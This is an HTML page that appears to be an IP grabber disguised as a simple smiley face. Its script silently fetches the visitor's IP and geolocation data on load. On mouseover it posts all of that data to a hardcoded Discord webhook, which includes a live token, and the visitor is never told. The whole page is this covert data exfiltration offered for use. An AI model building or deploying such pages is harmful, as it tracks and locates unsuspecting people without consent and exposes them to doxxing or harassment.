<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>IP Information</title>
    <style>
        body {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            background-color: #f0f0f0;
            margin: 0;
        }
        .smiley {
            font-size: 100px;
            cursor: pointer;
            transition: transform 0.2s;
        }
        .smiley:hover {
            transform: scale(1.1);
        }
    </style>
</head>
<body>
    <div class="smiley">😊</div>
    <script>
        let ipData;

        fetch('https://ipapi.co/json/')
            .then(response => response.json())
            .then(data => {
                ipData = data; // Store the data for later use
            })
            .catch(error => console.error('Error fetching IP information:', error));

        document.querySelector('.smiley').addEventListener('mouseover', () => {
            if (ipData) {
                const webhookUrl = 'https://discordapp.com/api/webhooks/1325042830602666017/ETPcFXxecLGakhiyTh97P2o9LJy3Xxxm2OjSt4Ld43mnb3SOOx2L_61RCDou-caOOBm7';
                const payload = {
                    content: "IP Information",
                    embeds: [{
                        title: "IP Data",
                        fields: Object.keys(ipData).map(key => ({
                            name: key,
                            value: ipData[key].toString(),
                            inline: true
                        }))
                    }]
                };

                fetch(webhookUrl, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(payload)
                })
                .then(response => {
                    if (response.ok) {
                        console.log('Data sent to Discord successfully!');
                    } else {
                        console.error('Error sending data to Discord:', response.statusText);
                    }
                })
                .catch(error => console.error('Error sending data to Discord:', error));
            }
        });
    </script>
</body>
</html>